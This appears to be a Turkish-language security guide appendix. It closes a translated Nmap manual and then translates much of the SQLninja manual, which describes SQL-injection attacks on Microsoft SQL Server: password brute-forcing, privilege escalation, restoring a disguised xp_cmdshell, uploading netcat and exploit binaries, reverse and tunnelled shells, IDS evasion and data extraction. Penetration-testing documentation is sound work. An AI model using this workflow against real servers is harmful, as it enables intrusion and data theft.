Nmap çalışırken bazı özel veriler kullanır. Bunlara nmap-servismesajları<br />

(nmap-service-probes), nmap-servisleri (nmap-services),<br />

nmap-protokolleri (nmap-protokols), nmap-rpc, nmap-mac-prefixes ve<br />

nmap-os-db. Eğer bu dosyaların yeri “--servicedb” ya da “–versiondb”<br />

seçenekleriyle belirlenirse, dosyalar için bu yol kullanılır. Daha sonra<br />

nmap “--datadir” yolunda bu dosyaları arar. Bulunamayan dosyalar<br />

NMAPDIR çevre değişkeninin gösterdiği yerde aranır. Daha sonra<br />

~/.nmap (gerçek ve etken UID için), ya da Windows için<br />

\AppData\Roaming\nmap (burada HOME C:\Users\user gibi<br />

kullanıcının ev yoludur). Peşinden nmap programının bulunduğu<br />

yerdeki yola ../share/nmap eklenmesi ile arama tamamlanır (örneğin<br />

/usr/local/share/nmap gibi)<br />

--servicedb (kullanıcı servis dosyasının yeri)<br />

Nmap için nmap-services dosyası yerine bu seçenekle belirtilen<br />

dosyanın kullanılması istenebilir. Bu dosyanın tanımlanması “-F” hızlı<br />

tarama seçeneğini etkinleştirir.


--versiondb <br />

(Servis mesajları dosyasının yeri)<br />

Nmap programından özel servis mesajları dosyası kullanması bu<br />

biçimde istenir.<br />

--send-eth (Ham ethernet mesajları göndermeyi kullan)<br />

Nmap programından IP (ağ) düzeyinde veri göndermesi yerine<br />

ethernet düzeyinde ham veri göndermesi istenirse bu seçenek<br />

kullanılır. Çalıştığı platformda hangisini kullanmak daha iyiyse nmap<br />

varsayılan olarak onu seçer. Genelde Ham soket (IP düzeyi) en verimli<br />

kullanım biçimidir. Ama windows ortamında ethernet paketleri<br />

kullanılmalıdır. Çünkü Microsoft ham IP soketleri kullanımına izin<br />

vermez. Nmap UNIX ortamlarında başka bir seçeneği kalmamışsa ham<br />

IP kullanmayı seçer.<br />

--send-ip (Ham IP düzeyi mesaj gönder)<br />

Nmap'in paketleri ham IP olarak göndermesini ister. Windows için<br />

kullanılamaz.<br />

--privileged (Kullanıcının tam yetkili olduğunu varsay)<br />

Nmap programına ham soket mesajları göndermeye yetkili<br />

olunduğunu bildirir. Varsayılan olarak nmap işlemi yapıp geteuid<br />

sonunda sıfırdan farklı bir sonuç alırsa işlemi durdurur.<br />

--unprivileged (Kullanıcı ham paket gönderemez)<br />

Nmap programına kullanıcının yetkisiz olduğu ve ham soket verisi<br />

gönderemiyeceği bildirirlir.<br />

--release-memory (Programdan çıkmadan belleği boşalt)<br />

Bellek sızıntılarının düzeltilmesinde önemli bir seçenektir. Nmap işin<br />

bitirmeden kullanığı belleği boşaltır. Böylece gerçek bellek sızıntıları<br />

daha kolay bulunabilir. Normal koşullarda nmap bununla ilgilenmez<br />

işletim sistemi bu işi yapar.<br />

-V; --version (Sürüm numarasını listele)<br />

Nmap sürüm numarasını listeler ve işlem son bulur.


-h; --help (Yardım sayfasını listele)<br />

Kısa yardım sayfası listeler. En sık kullanılan komutlar, ayarlar burada<br />

tanımlıdır. Hiçbir parametre vermeden nmap çalıştırılırsa da aynı sonuç<br />

elde edilir.<br />

Çalışırken araya girme<br />

Nmap çalışırken tüm tuş hareketini yakalayabilir. Böylece programı<br />

durdurmadan onunla etkileşime girilebilir. Bazı özel tuşlar seçenekleri<br />

değiştirebilir, diğerleri tarama hakkında bilgi verebilir. Genel bir kavram<br />

olarak küçük harfler yazdırılanları çoğaltırken büyük harfler azaltır. Yardım<br />

için “?” girilebilir.<br />

v / V<br />

Ayrıntıyı arttır/azalt<br />

d / D<br />

onarım satırlarını arttır/azalt<br />

p / P<br />

Paket taramasını aç/kapa<br />

?<br />

Etkileşimli yardım ekranını görüntüleme screen<br />

Başka ne varsa<br />

Aşağıdaki gibi durum mesajı ver:<br />

Örnekler<br />

Stats: 0:00:07 elapsed; 20 hosts completed (1 up), 1 undergoing Service Scan<br />

Service scan Timing: About 33.33% done; ETC: 20:57 (0:00:12 remaining)<br />

Nmap kullanımını gösteren bazı örnekler aşağıda gösterilmiştir. En<br />

basitinden, en sık kullanılanından ve en karmaşık olanına değin bir kaç örnek<br />

buraya alınmıştır. Bazı örneklerde IP adresleri ya da yöre adları değişmez<br />

kullanılmıştır.<br />

nmap -v scanme.nmap.org


Tüm kapılar taranır ve çıktı ayrıntılı olacaktır.<br />

nmap -sS -O scanme.nmap.org/24<br />

C tipi bir ağda (256 IP) SYN taraması yapılacaktır. Ayrıca bu <strong>bilgisayar</strong>larda<br />

hangi işletim sisteminin bulunduğu da belirlenecektir.<br />

nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127<br />

B tipi ağ adresinde her 255 <strong>bilgisayar</strong>ın ilk yarısında TCP taraması ve sayısal<br />

olmayan adlandırma yapılması istenir. Burada sistemlerdeki standart<br />

kapılarda SSH, DNS, POP3 ya da IMAP olup olmadığı taranır, açık olan<br />

kapılarda sürüm belirlemesi ve arkasında koşan uygulama belirlenir.<br />

nmap -v -iR 100000 -Pn -p 80<br />

Nmap'den rastgele 100,000 sunucu seçmesi istenir. Bunların web sunucu<br />

servisi taranır (80 nolu kapı). Sunucu adlandırması -Pn ile kapatılmıştır.<br />

nmap -Pn -p80 -oX logs/pb-port80scan.xml -oG logs/pbport80scan.gnmap<br />

216.163.128.20/20<br />

Ping kullanmadan 4096 IP web servisi için taranır ve sonuç grep ile<br />

okunabilen ve XML kalıplarında saklanır.


Ek-2<br />

SQLninja Kullanıcı El Kitabı<br />

Giriş<br />

Gereksinim<br />

Arkada Çalışanlar<br />

Nasıl Kullanırız<br />

Saldırı Konumu<br />

Onarımlar<br />

Parmak İzi<br />

Kaba Kuvvet<br />

Artma<br />

Xp Diriltmek<br />

Yüklemek<br />

dir kabuk komutu<br />

Geri tarama<br />

Ters kabuk<br />

ICMP Kabuğu<br />

DNS tüneli<br />

metasploit<br />

SQL komutu<br />

Veri alma<br />

Diğer Saldırılar<br />

Yapılandırma Dosyası<br />

Temel İşlemler<br />

Veri çıkartma Seçenekleri<br />

Gelişmiş Seçenekler<br />

Diğer Yararlı Bilgiler<br />

Krediler<br />

Kabul Etmeme<br />

Geri Besleme<br />

Akıllılık<br />

Yazarlar


Giriş<br />

Burada yazılanlarda SQLninja sanki hep var olan hedef sunucuya kırıl veri<br />

tabanına eklentiler yapacak, ya da veri tabanından bilgi çekecekmiş gibi<br />

gözükmektedir. Ama madalyona bir de diğer taraftan bakmak gerekir.<br />

Kırılacak güvenlik önlemleri varsa güvenlikte sorun da vardır. Güvenlik<br />

yönetiminin yapacağı kırılması söz konusu olan güvenliği kalkan ya da<br />

yazılım desteği ile yenilemek, koruma önlemleri almaktır.<br />

SQLninja'nın hedefi web uygulamalarındaki Microsoft SQL Sunucunun SQL<br />

eklemeleriyle kırılganlığını belirlemek ve içine sızmaktır. Arkada çalışan<br />

sunucu GPL V3 ile kullanıma açıldı.<br />

SQLninja'nın ana hedefi uzaktaki Veri Tabanı Sunucusuna etkileşimli işletim<br />

sistemi düzeyinde erişimdir. Bunu ağ içinde köprü başı olarak kullanmaktır.<br />

Bir onarım özelliği olarak veri tabanından veri de çıkarabilir.<br />

Uzaktaki SQL Sunucunun parmak izlerini almak (sürüm, query<br />

çalıştıran kullanıcı adı, kullanıcı yetkileri, XP komut kabuğu varlığı, Veri<br />

Tabanı Sunucu yetki konumu.<br />

'sa' şifresini zorla alma (yalnız windows 2000 için)<br />

'sa' ya verilen yetkiler (yalnız windows 2000 için)<br />

Kullanıcı komut kabuğu yaratılışı (eğer var olan kaldırılmışsa)<br />

Çalışan programların yüklenmesi<br />

Ters kabuk işlemi için uygun kapı bulmak adına ters tarama<br />

TCP ve UDP için doğrudan ve ters kabuk<br />

Bağlantı kabuğu için kapı yoksa DNS'si tünellenmiş kabukumsu<br />

ICMP tünellenmiş kabuk, Eğer hedef Veri Tabanı Yönetim Sistemi ICMP<br />

ile konuşabilirse, ICMP yankı ile makineye saldırılabilir.<br />

Meterpreter kullanmak istediğinizde, ya da GUI kullanıcı arayüzü ile<br />

erişmek istediğinizde Metasploit döndürmesi olacaktır.<br />

Uzaktaki Veri Tabanı için İşletim Sİstemi yetkileri çıkarılması<br />

WAITFOR arayüzü kullanarak ya da DNS tabanlı tünellerle uzaktaki Veri<br />

Tabanından Veri çıkartma<br />

Bunların hepsi IDS/IPS Sistemlerinin ve SQL kodunun kafasını<br />

karıştırarak yapılır.


Görebildiğiniz kadarıyla SQLninja, SQL içine girecek kırılganlıkları aramaz.<br />

Hali hazırda bunları yapan bir çok araç zaten vardır (BurpSuite<br />

http://portswigger.net/suite gibi). Gösteriler hep daha önceki sürüme aittir<br />

ama aracın yapabildiklerini anlamak açısından oldukça iyi sonuçlardır. Bu el<br />

kitabını dikkatlice okuyun (evet hepsini), SQLninja seçenekleri arasında nasıl<br />

iş yapabileceğiniz, içinde neler olduğu anlatılır. Uzun ve sıkıcı gelebilir. Ama<br />

SQLninja'nın bir çok seçeneği olduğundan belgenin tümünü okumaya çalışın.<br />

Bir çok aracı doğru kullanabilmenizi ve çok zaman kazanmanızı sağlar.<br />

Gereksinim<br />

SQLninja tümüyle Perl ile yazıldığından, kurulacak fazla bir şey yoktur.<br />

Perl ve eğer yoksa aşağıdaki modüller gerekir:<br />

NetPaket, NetPcap, NeDNS, NetRawIP, IQ-Socket SSL, DBI,<br />

Ayrıca Metasploit Framewor 3 de gerekecektir. Metaspoilt saldır<br />

konumunda kullanılacaktır. Ayrıca VNC istemci de kurulmalıdır.<br />

Eğer bir şeyler ters giderse, ayrıntılı çıktıyı etkinleştirin (-V seçeneği)<br />

ya da onarım seçeneğini (-d). Böylece hatanın nedenini bulacak ip<br />

uçlarına erişebilirsiniz. Gentoo kutusunda geliştirildiğinden SQLninja<br />

aşağıdaki sistemlerde kullanılabilir:<br />

Linux, FreeBSD, Mac OS X, OS<br />

Arkada Çalışanlar<br />

Web uygulamasında SQL Sunucu kullanılıyorsa ve siz de SQL'i kırıp<br />

içine girebiliyorsanız hemen denemeler yapın. Eğer 'sa' olarak<br />

sorgulama yapabiliyorsanız ve XP komut kabuğu kapatılmamışsa,<br />

hemen sunucuya netcat indirin (ftp ya da tftp ile) ve sonunda sizin<br />

doğrudan ters kabuğunuzu bulun. Bir çok kez işler bu kadar kolay<br />

olmaz. Bazen güvenlik kalkanı tüm giriş ve çıkışları elenmiştir. Ya da<br />

ter kabuk yalnız tuhaf bir cihaz için vardır. Ya da XP komut kabuğu hiç<br />

yoktur. Ya da sorgulamalarınız düşük yetkiyle yapılabilmektedir. Ya da<br />

bunların hepsi birden olmuştur. SQLninja uzaktakinde ters kabuk nasıl<br />

yaratılacağı konusunda (bu koşullarda bile) yardımcı olabilecek ip<br />

uçları üretebilir. Bu da başarısız olursa, Uzaktaki veri tabanı yönetim<br />

sisteminden hala bazı verileri sıkıştırıp çıkarabilir.


Çok iyi SQL ekleme teknikleri bildiğinizi ve Microsoft SQL Sunucusunun<br />

iç yapısını iyi bildiğinizi varsayalım. Eğer bundan sonra olanları<br />

anlamakta güçlük çekerseniz<br />

http://www.northernfortress.net/advanced_sql_injection.pdf,<br />

http://www.northernfortress.net/more_advanced_sql_injection.pdf,<br />

http://www.northernfortress.net/sqlinference.pdf<br />

belgelerini okumanızı öneririz. Ayrıca protokol tünellemenin ne<br />

olduğunu bildiğinizi varsayıyorum. Özellikle ICMP ve DNS üzerinden<br />

yapılanları biliyorsunuzdur. Bilmiyorsanız lütfen http://dnstunnel.de/<br />

web sitesinden DNS kavramını öğrenin.<br />

Nasıl Kullanırız<br />

SQLninja davranışı yapılandırma dosyasıyla denetlenir (varsayılan<br />

dosya adı sqlninja.conf). Bu dosyadaki ayarlar neye ve nasıl<br />

saldırılması gerektiğini anlatır (hedef sunucu, kırılabilen sayfalar,<br />

kullanılabilecek diziler gibi) ve sqlninja'ya neler yapılacağını<br />

anlatabilen bazı komut satırı seçenekleridir. Bu komut satırı<br />

seçenekleri aşağıdakilerdir:<br />

-m <br />

Saldırı konumunu belirtir. Temel olarak sqlninja'ya ne<br />

yapması gerektiğini söyler. Yapılabilecek işlerler şunlardır:<br />

test<br />

parmak izi (fingerprint)<br />

kaba kuvvet (bruteforce)<br />

artırma (escalation)<br />

xp diriltmek (resurrectxp)<br />

yüklemek (upload)<br />

dir kabuğu (dirshell)<br />

arka tarama (backscan)<br />

ters kabuk (revshell)<br />

dns tüneli (dnstunnel)<br />

icmp kabuğu (icmpshell)<br />

metasploit<br />

sql komutu (sqlcmd)<br />

veri al (getdata)<br />

-v<br />

ayrıntılı çıktı<br />

-f <br />

kullanılacak yapılandırma dosyanı tanımlar


-p <br />

artırma konumunda o anki kullanıcıyı sistem admin<br />

listesine ekler. Diğer konumlarda sorgulamayı yönetici<br />

yetkisiyle çalıştırır. (Eğer veri tabanı kullanıcısı bu tür bir<br />

grupta değilse). Bu seçenek normalde çok seyrek kullanılır.<br />

Varsayılan olarak kullanıcıyı sysadmin grubuna ekler ('sa'<br />

şifresi bulunduğunda). Bunu ne zaman kullanmak gerekir<br />

diye soruluyorsa attırma konumuna bakmak gerekir.<br />

-w <br />

kaba kuvvet konumunda kullanılacak kelime listesi<br />

tanımlanır.<br />

-g<br />

Yükleme konumuyla birlikte kullanılır, onarım programı<br />

üretir ve çıkar.<br />

-d <br />

Onarım işlemlerini başlatır ve aşağılarda neler olduğu<br />

incelenebilir. Olası değerleri şöyledir:<br />

1 eklenen her sql komutunu yazdır<br />

2 hedefe gönderilen her HTTP isteğini yazdır.<br />

3 Hedeften gelen her HTTP yanıtını yazdırır<br />

all Yukarıdakilerin hepsi<br />

Hangi parametrelerin kullanılacağını anlamak için bu konumların<br />

tanımlarına bakın.<br />

Saldırı Konumu<br />

SQLninja'nın şu anda 14 değişik saldırı konumu vardır.<br />

sqlninja -m upload<br />

sqlninja -m U<br />

sqlninja'yı parametresiz çalıştırınca konumları ve parametreleri listelenir.<br />

Değişik saldırı gruplarının ilkini yakalamak için sqlninjayı kullanmanın tipik<br />

yolları şunlardır:<br />

1 Yapılandırma dosyası ayarları ve test konumuyla o SQL komutunun<br />

doğru olarak eklendiğini gör.


2 Parmak izi konumuyla karşıdaki veri tabanının parmak izini al<br />

3 Eğer gerekliyse kaba kuvvet konumunu kullanarak 'sa' şifresini bul<br />

ve yetkileri arttır (Yalnız Windows 2000).<br />

4 Eğer gerekliyse xp diriltme konumuyla gelişmiş xp komut kabuğu<br />

yaratma işlemini yarat (Windows 2000 için)<br />

5 Yükleme konumunu kullanarak netcat yükle.<br />

6 Bir kapı üzerinden Veri Tabanı sunucusuna erişilmişse, dir kabuk<br />

konumunu kullanarak doğrudan kabuk alternatifini bul. Eğer kapı TCP<br />

ise metasploit konumunu kullanarak grafik erişimi başlat.<br />

7 Aksi halde ters tarama konumu ile çıkış için kullanılan tcp/udp<br />

kapısını bul.<br />

8 Eğer 7. adım başarılıysa, ters kabuk konumunu kullanarak, ters<br />

kabuğu bul ve kapı TCP ise metasploit konumu ile grafik erişimi kullan.<br />

9 Eğer 8. adım çalışmamışsa icmpsh.exe programını yükle ve icmp<br />

kabuk konumunu kullanarak icmp-tünel kabuğu bul.<br />

10 Eğer 9. adım çalışmazsa dnstun.exe programını yükle ve dns tünelli<br />

yalancı kabuğu bul.<br />

11 Eğer 10. adım çalışmazsa veri alma konumuna geç ve veri<br />

tabanından veri almaya başla.


Onarımlar<br />

Kısaca t yazılabilir.<br />

Parametresi yoktur.<br />

Bu konum ilkel WAITFOR DELAY ile karşı tarafta işlemin başarılı bitip<br />

bitmediğini izler. Yapılandırma dosyanızın doğruluğu ve eklemenin<br />

çalışıp çalışmadığı denenmiş olur.<br />

Parmak İzi<br />

Kısaca f yazılabilir.<br />

Parametre olarak -p yazılabilir<br />

WAITFOR tabanlı kör bir ekleme kullanır. Bu konum karşı sistemin<br />

parmak izini çıkarır. Aşağıdaki bilgiler alınabilir:<br />

Veri Tabanı sürümü (2002/2005/2008/2012 gibi)<br />

Sorgulamaları yapan kullanıcı<br />

Kullanıcı sistem yöneticisi grubunda mıdır?<br />

Bu kullanıcıya xp komut kabuğu (xp cmdshell) açık mıdır?<br />

Karşı sistem karışık mı yoksa yalnız windows'a özgü Şifreleme mi<br />

kullanmaktadır ('sa' şifresine kaba kuvvet uygulayacaksanız<br />

bunu bilmek gerekir)<br />

SQL Sunucu SYSTEM olarak mı koşturulmuştur. Bu aynı zamanda<br />

churrasco.exe doğru yüklendi mi ve yetkileri doğru arttırıyor mu<br />

incelemesi de yapılmasını sağlar.<br />

Var olan veri tabanının adı.<br />

Eğer SQL Sunucu 2000'e saldırılıyorsa, kullanıcılar sysadmin grubunda<br />

değildir, ama doğru 'sa' şifresi parametre olarak verilmiştir. Böylece<br />

parmak izi yönetici yetkileriyle yapılır. WAITFOR tekniği diğer araya<br />

girişlere göre çok daha yavaştır ama en esnek olanıdır. Zaman<br />

ölçümlerinde diğer işlem trafiği ve sunucu yükü etkin olsa da parmak<br />

izini bir kaç kez yinelemek isteyebilirsiniz. Bunu ilk sonuç tatmin edici<br />

değilse yaparsınız. Ya da yapılandırma ayarlarındaki kör zamanlama<br />

(blindtime) parametresiyle de yapabilirsiniz. Kullanıcının SQL<br />

Sunucusuna parmak ixi uygularken aşağıdakilerin sunucuda olması<br />

gerekir:


xp_cmdshell (ya da benzeri)<br />

whoami.exe. Bu Windows 2003'de var, ama karşı tarafta yoktur<br />

derseniz microsof.com'dan indirip karşı sisteme yükleme yapabilirsiniz.<br />

(http://sqlninja.sourceforge.net/sqlninja-howto.html#upload_ nasıl<br />

yapılacağını anlatır)<br />

Kaba Kuvvet<br />

Kısaca b yazılabilir<br />

Parametreleri -w <br />

Bu konum, kullanıcı sysadmin grubunda değilse kullanışlıdır. O zaman<br />

yetkilerin arttırılması gerekir. OPENROWSET ile hedefin veri tabanını<br />

alternatif güvenlikle kendine bağlarız. 'sa' şifresini kaba kuvvetle<br />

bulmaya çalışırız. Eğer doğru şifre bulunursa, mevcut kullanıcı hemen<br />

'sa' grubuna eklenir. Bu saldırının çalışması için karşıdaki SQL sunucu<br />

karışık şifreleme kullanıyor olmalıdır. Parmak iziyle bunun doğruluğuna<br />

bakılmalıdır. Bu saldırı konumu iki değişik yöntem kullanır: sözlük ve<br />

arttırımlı. Hangisini kullanacağınız tümüyle size kalmıştır.<br />

Sözlük<br />

Eğer kelime listesi tanımlanmışsa kullanılır. Buna göre olası<br />

şifreler kelime listesinden bakılarak aranır. Kelime listesinde 'sa'<br />

ve boş şifre olduğuna bakın. Bunlar MS SQL için çok sık<br />

kullanılan şifrelerdir.<br />

Pros:<br />

Eğer şifre bir sözlük kelimesiyse çok etkilidir<br />

Veri Tabanı sunucusuna ağır bir yük getirmez.<br />

Cons:<br />

Sözlüğe dayanmayan şifreler için etkili değildir. Eğer<br />

kelime listenizde şifre yoksa sonuç elde edemezsiniz.<br />

Çok fazla bağlantıya gereksinimi olduğundan web<br />

kayıtlarına bakınca saldırı hemen anlaşılabilir<br />

Artırımlı<br />

Kelime listesi kullanılmadığında bu yönteme geçilir. SQLninja bir<br />

dizi sorgulama gönderip “*ALL*” deneyerek kullanıcı tarafından<br />

saptanan uzunlukta kombinasyonlar yaratır. Bu taktiğin güzel<br />

yanı sorgulamalar veri tabanı sunucusunda olduğundan kaba<br />

kuvvet aslında karşı sistemin CPU kaynakları kullanılarak yapılır.<br />

Pros<br />

Cons<br />

Sözlük tabanlı olmayan şifreleri bulmada oldukça etkindir<br />

Çok az bağlantıya gereksinim vardır, bu nedenle web<br />

sunucu kayıtlarında çok az bilgi vardır.<br />

Eğer şifre uzunsa yıllar alabilir<br />

Veri Tabanı sunucusunun CPU kullanımını %100'e


çıkarabilir. Canlı ortamda tehlikelidir (fark edilebilir). CPU<br />

kullanımı çok yükselince kritik veri tabanlarında alarm<br />

uyarısı üretilir. Güvenlik ölçüsü olarak sqlninja işlemi küçük<br />

yığınlara bölüp (her yığın yalnız n karakterden oluşan şifre<br />

için n^3 şifre dener) . Eğer bir şeyler ters gidiyorsa<br />

sqlninja durdurulur ve karşı taraftaki kaba kuvvet yığının işi<br />

bitince bitmiş olur.<br />

Uygulamanın veri tabanı sunucusuna bağlı olarak bu teknik<br />

çalışmaya bilir (örneğin ODBC sorun çıkartmaktadır). Sqlninja<br />

bunu hemen anlar ve kullanıcıyı uyarır, boşuna zaman<br />

kaybedilmez.<br />

Önemli Notlar<br />

SQL 2005'den beri OPENROWSET yetkisiz kullanıcılara kapatıldı.<br />

Eğer parmak izi konumu 2005/2008/2012 ile uğraşıldığını<br />

söylüyor ve siz 'sa' değilseniz şansınız yoktur (ama siz hala veri<br />

alma konumuyla veri geçebilirsiniz)<br />

SQL sunucu 2000'de şifrelerde büyük küçük harf ayrımı yoktur,<br />

bu da kırma işlemini çok kolaylaştırır.<br />

Arttırma biti ODBC kullanıldığında sıkıştırılmıştır.<br />

Arttırma<br />

Kısaca e yazılabilir<br />

Parametresi -p zorunludur<br />

Eğer doğru 'sa' şifresi verildiyse o anki kullanıcı sysadmin grubuna<br />

eklenir.<br />

Genelde bu yönteme gereksinim yoktur, çünkü sqlninja kaba kuvvet<br />

konumunda arttırma zaten yapılmıştır. Ama bazı koşullar olabilir ki<br />

işlemi bağımsız yapmanız gerekebilir. Belki şifreyi sosyal mühendislik<br />

yollarından sağlamışsınızdır.<br />

Arttırmanın nasıl çalıştığını görmek isterseniz ya da 'sa' şifresini<br />

bildiğiniz halde arttırma çalışmıyorsa okumaya devam edin.<br />

Arttırma OPENROWSET birleşimiyle yapılır. Doğru 'sa' şifresi ve<br />

sp_addsrvrolemember kullanarak kullanıcı adının sysadmin grubuna<br />

eklenmesidir. Belki de sp_addsrvrolemember kapalı olabilir. O zaman<br />

iki nedenden çalışmıyordur:<br />

1 Sunucu ODBC kullanıyordur ve siz bağlantı havuzundan eski ODBC<br />

bağlantısı kullanıyorsunuzdur ve o da eski yetkileri kullanıyordur<br />

2 sp_addsrvrolemember kullanıma kapatılmıştır


İlkinde bir kaç şey yazdırıp eski bağlantının bitmesini ve kendiliğinden<br />

düşmesini beklersiniz. Genelde ODBC bağlantısı işlemsiz 60 saniye<br />

sonra düşer. Bunun olma süresi web sayfasına kaç kişinin bağlandığı,<br />

trafiğin yoğunluğu gibi değerlerle orantılıdır.<br />

İkinci durumda beklemek zorunda değilsiniz. -p yazıp<br />

sqlninjanın kullandığı OPENROWSET ile bağlantılı işlem yaparsınız.<br />

Xp Diriltmek<br />

Kısaca x yazılabilir<br />

Parametreler -p <br />

Eğer aşağıdaki koşulların her ikisi de oluyorsa bu konum kullanılabilir:<br />

Ya bizim sysadmin yetkilerimiz vardır ya da 'sa' şifresi biliniyordur<br />

xp_cmdshell kapalıdır.<br />

Bu konumun hedefi öncelikle geliştirilmiş xp_cmdshell işlemini yine<br />

yaratmaktır. Burada oyunun bir çok oyuncusu vardır ve her biri de<br />

farklı davranabilir. O halde aşağıdakileri dikkatle okuyun:<br />

Yöntemler<br />

xp_cmdshell geri getirmek için iki yöntem vardır<br />

1 onu SQL 2000'de sp_addextendedproc işlemiyle, SQL<br />

2005'de sp_configure ile) geri yüklemek. Bunun için bir<br />

SQL komutu yeterlidir ama xplog70.dll orada olmalıdır.<br />

2 CREATE PROCEDURE ile sp_oacreate, sp_oamethod ve<br />

sp_oadestroy için siteye özgülerini yarat. Bu konumda<br />

daha başka programlar da gereklidir ama eğer xplog70.dll<br />

güvenlik nedeniyle kaldırılmışsa bu kadarı da yeterlidir.<br />

xp_cmdshell adı<br />

xp_cmdshell yeniden yaratılınca tanınması olanaksızdır. Bu<br />

durumda CREATE PROCEDURE ile daha uygun bir adla<br />

(sp_sqlbackup gibi) yaratma işlemi tamamlanabilir. İşlem adını<br />

yapılandırma dosyasındaki xp_name_option seçeneğiyle<br />

tanımlayabilirsiniz.<br />

Kullanıcı Yetkileri<br />

Eğer yetki arttırma çalışmamışsa -p ile yetkileri<br />

değiştirebilirsiniz<br />

OPENROWSET ve CREATE PROCEDURE birleştirilemez. O zaman -p<br />

kullanıyorsanız CREATE PROCEDURE kullanın. Bir başka çözüm de tüm<br />

yordam (procedure) veri tabanına gönderilen her komuta eklenerek de


tanımlanabilir. Sunucu dışarıdan eklenen bir yordam olmadan da her<br />

şeyi yapar. Biz buna ”İçte tanımlanan (inline) yordam eklemek”<br />

diyelim.<br />

Bu konum kullanılırken sqlninja'nın izlediği adımlar şöyle özetlenebilir:<br />

1 Eğer dışarıdan eklenecek yordam (procedure) adı yapılandırmaya<br />

tanımlanmışsa (xp_cmdshell) o zaman sqlninja bunu kullanılır hale<br />

getirmeye çalışır (sp_addextendedproc/sp_configure). Belki karşıdaki<br />

SQL sunucunun sürümünü bilmek isteyebilirsiniz, parmak ixi<br />

kullanmayı unutursanız sqlninja kendisi bu bilgiye erişir.<br />

2 Eğer dışarıdan eklenen yordam (procedure) adı xp_cmdshell (daha<br />

sinsi olmak istediğinizden olabilir) olmayacaksa (xplog70.dll kaldırılmış<br />

olabilir) o zaman:<br />

Eğer bizim yerel admin yetkilerimiz varsa (yani komut satırında<br />

password yazmamız gerekmemiştir) o zaman CREATE<br />

PROCEDURE yöntemimiz başlatılır. Eğer çalışırsa bizim kendimize<br />

özgü yordam (procedure) tanımımız olmuştur.<br />

Eğer bizim yerel admin yetkilerimiz yoksa (komut satırında şifre<br />

tanımlamak zorunda kalmışızdır) o zaman satır içinde yordam<br />

(procedure) tanımlamaya gidilir. Eğer çalışırsa yapılandırmada<br />

xp_name değeri NULL yapılır. Bu sqlninja'ya diğer adımlarda da<br />

satır içi yordam (procedure) tanımı yapılması gerektiğini belirtir.<br />

Sanırım xp_cmdshell geri geldiğinde (ya da tümüyle eşdeğer başka bir<br />

şey) her şey normale dönmüştür.<br />

Sqlninja tarafından kullanılan size özel kod aslında Antonin Foller<br />

kodunun biraz değiştirilmişidir.<br />

http://www.motobit.com/tips/detpg_cmdshell/ adresinde aslını<br />

bulabilirsiniz.<br />

Yüklemek<br />

Kısca u yazılabilir<br />

Parametreler: -p <br />

-g<br />

Bu konum yalnız ikili bir dosyayı web sunucusuna GET ya da POST<br />

HTTP isteği ileterek dosya yükler. Yani FTP/TFTP ya da benzeri bir işlem<br />

gerekmez. Yüklenen dosya sunucunun %TEMP% çevre değişkeni<br />

içindedir. Saldırı aslında MSSQL varsayılan dosya yolunu (klasör)<br />

yazamasa da etkindir. İki tane yükleme konumu vardır.<br />

Onarım Programı<br />

Bu alışılmış bir türdür ve eski DEBUG.EXE programını kullanır.<br />

İkili dosya onarım programı gibi yazılır (.scr uzantısıyla), program<br />

yüklenir ve debug.exe'ye verilir. Program temelde bellekte bir


yer alır, gerekli baytları yazar ve sonuçları diske taşır. 16 bitlik<br />

bir program olduğundan boyut sorunu vardır ve 64 Kbayt en<br />

buyuk dosya boyudur. Bunları parça parça yüklemek ve sonunda<br />

birleştirmek için sqlninja Jussi'nin dbgtool.exe algoritmasını<br />

kullanır ( http://www.toolcrypt.org adresine bakınız).<br />

Vbscript<br />

Bu aslında yeni bir yöntemdir. İkili dosya base64 kalıbına çevrilir,<br />

yükleme yapılır ve sonra küçücük bir vbscript kodu ile asıl<br />

dosyaya dönülür. Ortalamada daha az istek üretir. İlk dosyanın<br />

parçalanması da gerekmez ve son zamanların sistemlerinde<br />

daha çok çalışma olanağı vardır. Eski yöntem daha güzel<br />

gözükse de bunu kullanmayı seçebilirsiniz.<br />

Hangi yöntemi seçerseniz seçin, yükleme yapmak için bir dosya adını<br />

tanımlamış olmalısınız. Daha sonrası zaten otomatik yürümektedir. Bu<br />

dosya zaten .scr ya da .base64 kalıbındaysa sqlninja yüklemeyi yapar<br />

ama bazı kontroller (yüklenen dosya boyu doğru mu gibi)<br />

yapılamayabilir. Sonunda sqlninja için asıl dosyayı ikili biçimde<br />

sağlamak en iyisidir.<br />

Sizin kolaylığınız için netcat.exe dnstun.exe icmpsh.exe churrasco.exe<br />

vdmallowed.exe ve vdmexploit.dll programları apps ve scripts dosya<br />

yollarında bulunmaktadır. Türüne göre bir kısmı ikili diğerleri<br />

debug+base64 kalıbındadır. Programlar UPX ile paketlenmiştir<br />

(boylarını küçütmek için). Bazı işlemler için netcat.exe programını<br />

yüklemelisiniz (backscan/dirshell/revshell gibi işlemler). Ayrıca<br />

dnstun.exe ve icmpsh.exe tünellenmiş DNS ve ICMP yalancı kabuğu<br />

üretmek içi gereklidir. Churrasco.exe yetki arttırmak için gerekli<br />

olacaktır. Eğer SQL sunucu SYSTEM olarak koşturulmuyorsa<br />

Vdmallowed.exe ve vdmexploit.dll aynı saldırı için gerekecektir.<br />

Akıldan çıkarılmaması gereken en önemli konu bir çok şeyin düzgün<br />

gitmeme olasılığı olduğudur. Şifrelenmiş dosyanın bir satırının bile<br />

yüklenememiş olması, programların doğru yaratılamayacağını anlatır.<br />

Sqlninja testlerinde eğer program aranan yerde bulunursa, kaç satır<br />

olarak yüklendiği bulunmaya çalışılır. Bu neyin hatalı olabileceği<br />

konusunda bir ölçüde bilgi verebilecektir. Örneğin pen-test adımında<br />

sonuç satırları doğru değerin tam iki katı olmalıdır. Burada yapılacak<br />

olan geçici bir tablo yaratmak ve onu sayaç gibi kullanmaktır. Satır<br />

program dosyasına sayaç çift olduğunda aktarılmalıdır.<br />

Eğer yalnız onarım programı yaratmak isterseniz ya da yüklemeden<br />

base64 (bir başka araçla kullanmak üzere) o zaman yükleme<br />

konumunu -g seçeneği ile başlatın. Sqlninja dosyayı /tmp dosya<br />

yolunda yaratır ve çıkar. Eğer sysadmin yetkileriniz yoksa<br />

parametrede 'sa' şifresini kullanmanız gerekir.


dir kabuk komutu<br />

Kısaca s yazılır<br />

Parametreleri -p <br />

Uzaktaki veri tabanı sunucusu TCP ve UDP kapı üzerinden doğrudan<br />

